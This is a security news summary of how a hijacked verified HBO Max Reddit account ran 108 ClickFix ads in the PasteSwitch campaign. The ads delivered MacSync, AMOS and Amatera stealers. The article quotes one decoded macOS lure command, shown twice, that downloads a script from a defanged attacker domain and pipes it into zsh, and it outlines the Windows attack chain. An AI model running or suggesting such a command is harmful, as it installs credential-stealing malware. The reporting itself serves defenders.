A hijacked HBO Max Reddit account pushed 108 ClickFix ads to Windows and macOS users
Hudson Rock and ADAMnetworks link the ads to an operation they call PasteSwitch, which hands Windows and macOS visitors different paste-this-command lures and swaps payloads on the backend depending on who arrives.
The Watch · Security desk
What happened
- Hudson Rock and ADAMnetworks say the verified u/hbomax Reddit account was hijacked and used to launch 108 malicious advertisements over about 48 hours, targeting both Windows and macOS users.
- The ads led to lookalike pages such as hbomaxx[.]us, where the download button returned instructions to open Terminal and paste a command instead of delivering an installer.
- Some of the ads impersonated the streaming service, while others promoted fake AI tools, developer software and macOS utilities from the same trusted account.
- The two firms tie the ads to a wider operation they call PasteSwitch, which has delivered information stealers, loaders, cryptocurrency clippers and fake wallet applications.
- HBO and Warner Bros. Discovery did not respond to BleepingComputer's questions about the incident.
Why it matters
- What's now possible capability Taking over a verified brand account gives an attacker the platform's paid distribution plus the brand's audience, with no lookalike handle for moderation to catch.
- What it limits constraint Controls that sit at the download boundary are on the wrong side of this chain, so the enforceable choke point is the clipboard-to-shell step in Run, PowerShell and Terminal.
- What it costs cost Cleanup after a MacSync infection is an account-by-account reset across browsers, Telegram, Apple Notes and stored macOS passwords, not a reimage and move on.
- What it sets up precedent A backend that varies payload by visitor means defenders who share one URL and one hash are describing one branch, and detection content written from that sample will not cover the rest.
Next story · Product · 3d ago
Skydance says Discovery Plus price rises were in the works before the Warner Bros. Discovery mergerConfirmed2 publishers
ClickFix moves the malicious step out of the browser and into a shell. The lure tells the visitor to fix an error, pass a CAPTCHA or install software by pasting a supplied command into Windows Run, PowerShell or macOS Terminal [6]. The victim runs it with tools the operating system already ships, and BleepingComputer notes that this can get past browser and security software built to catch malware downloads [7].
BleepingComputer saw one of the macOS commands Base64-encoded. Decoded, it read: `export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh` [18]. Hudson Rock says ember-bridge[.]com was already serving malware for the same operation in September [19]. One payload, MacSync, takes browser credentials, Firefox profiles, Telegram data, Apple Notes and macOS passwords [8]. Another chain installed "AMOS helper," which persists in a directory named .com.apple.accountsd and enrolls the host with attacker-controlled servers to pick up further tasks [9].
Windows visitors were steered into mshta and PowerShell instead [13]. Hudson Rock describes a chain built on an MP3/HTA polyglot that creates a scheduled task, launches 32-bit PowerShell, disables Microsoft's Antimalware Scan Interface and derives victim-specific infrastructure from the computer name and username [15]. The last stage uses obfuscated PowerShell and shellcode to load Amatera Stealer straight into memory, without writing the final payload to disk [17].
The campaign surfaced because a Reddit user noticed the ad and looked at the author [12]. "I was browsing Reddit and saw an ad displaying u/hbomax as the author - this advertised a macOS HBO Max app which I'd not heard of and was interested in. The user is verified and appears to have posted many times in the official HBO Max subreddits," the user said [14]. Verification and posting history were the checks available, and both passed.
108 ads in roughly 48 hours is about 2.25 an hour, or one new malicious ad every 27 minutes for two days [20]. Whatever review the ads passed through, it did not slow that rate.
Triage of a single URL will not map this. Hudson Rock and ADAMnetworks say the PasteSwitch backend switches campaign, platform, payload and crypto theft method depending on the visitor [5]. Fake Ledger, Trezor Suite and Exodus builds sit somewhere in that rotation, aimed at wallet recovery phrases [11].
What to watch
- Whether Reddit or Warner Bros. Discovery explains how the u/hbomax account was taken over and whose ad account paid for the 108 placements.
- Whether Hudson Rock and ADAMnetworks publish PasteSwitch indicators beyond ember-bridge[.]com, or tie other hijacked verified accounts to the same backend.
- Whether Reddit changes ad review for posts originating from verified brand accounts.
Clarity's read
What the record supports and how the coverage leans. The claims behind it follow.
Reality
- Evidence74
- Adoption
- Not scored
- Hype gap+8
- Incentives50
- Confidence72
Perspective Coverage
5 publishers- Builder
- Builder 29%
- Operator
- Operator 65%
- Investor
- Investor 6%
Claim ledger
Ranked by verification strength, evidence, and original report placement.
- [1]
Hackers compromised HBO Max's official Reddit account and used it to push malicious ads that launched ClickFix attacks to infect Windows and macOS devices with information-stealing malware.
- [2]
Security researchers at Hudson Rock and ADAMnetworks analyzed the campaign and say the verified u/hbomax Reddit account was hijacked and used to launch 108 malicious advertisements over about 48 hours.
- [3]
While some of the advertisements pushed by the HBO Max account impersonated the streaming service, others promoted fake AI tools, developer software, and macOS utilities.
- [4]
Hudson Rock and ADAMnetworks have linked the attack to a larger campaign they call PasteSwitch, which targets both Windows and macOS and has been used to distribute information stealers, loaders, cryptocurrency clippers, and fake cryptocurrency wallet applications.
- [5]
The researchers say PasteSwitch refers to the operation's use of attacker-supplied commands that victims paste into their systems, while the attackers' backend switches between campaigns, platforms, payloads, and crypto theft methods depending on the visitor.
- [6]
ClickFix tricks users into copying and pasting malicious commands into Windows Run, PowerShell, or macOS Terminal while pretending to fix an error, verify a CAPTCHA, or install legitimate software.
- [7]
The attack type has become popular because victims run the malicious commands themselves using legitimate operating system tools, potentially bypassing some browser and security software designed to detect malware downloads.
- [8]
One malware family used in the attack is MacSync, which Hudson Rock says steals browser credentials, Firefox profiles, Telegram data, Apple Notes, and macOS passwords.
- [9]
Another attack chain deployed "AMOS helper," which establishes persistence using a directory named .com.apple.accountsd and can enroll infected systems with attacker-controlled servers to receive additional tasks.
- [10]
BleepingComputer contacted HBO and Warner Bros. Discovery with questions about the incident but has not received a response.
- [11]
The campaign has also distributed fake Ledger, Trezor Suite, and Exodus cryptocurrency wallet applications designed to steal victims' wallet recovery phrases.
- [12]
The campaign was initially discovered after a Reddit user spotted an advertisement posted from the verified HBO Max account promoting what appeared to be a native HBO Max application for macOS.
- [13]
On Windows systems, PasteSwitch has been observed displaying instructions that cause victims to execute commands using mshta and PowerShell.
- [14]
"I was browsing Reddit and saw an ad displaying u/hbomax as the author - this advertised a macOS HBO Max app which I'd not heard of and was interested in. The user is verified and appears to have posted many times in the official HBO Max subreddits," the Reddit user said.
- [15]
Hudson Rock says one Windows attack chain used an MP3/HTA polyglot to create a scheduled task, launch 32-bit PowerShell, disable Microsoft's Antimalware Scan Interface (AMSI), and generate victim-specific infrastructure based on the computer name and username.
- [16]
One of the fake HBO Max sites used in the campaign was hbomaxx[.]us; clicking the download button did not download an app but displayed instructions telling visitors to open Terminal and paste a command to install the software.
- [17]
Later stages used obfuscated PowerShell and shellcode to load the Amatera Stealer directly into memory without first saving the final payload to disk.
- [18]
One macOS command BleepingComputer saw used Base64 encoding to obscure what it executed; decoded, it contained: export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh
- [19]
Hudson Rock noted ember-bridge[.]com as infrastructure used in September for malware delivery in the PasteSwitch operation.
- [20]
108 advertisements over about 48 hours is about 2.25 per hour, or one roughly every 27 minutes.
Sources
5 independent publishers whose own reporting we read for this story.
- bleepingcomputer.comHackers hijack HBO Max Reddit account to push malware in ClickFix ads
1 article · September 14, 2026
- helpnetsecurity.comAttackers hijack HBO Max’s Reddit account for 48-hour malvertising blitz
1 article · September 15, 2026
- malwarebytes.comHBO Max’s verified Reddit account hijacked to spread malware
1 article · September 15, 2026
- scworld.comHBO Max Reddit account compromised, used in ‘PasteSwitch’ ClickFix attacks
1 article · September 16, 2026
- securityweek.comHacked HBO Reddit Account Used for Malware Delivery via ClickFix Attack
1 article · September 15, 2026
Topics and entities
Topics
- Infostealer Malware
- Social media account takeover
- ClickFix
- Malvertising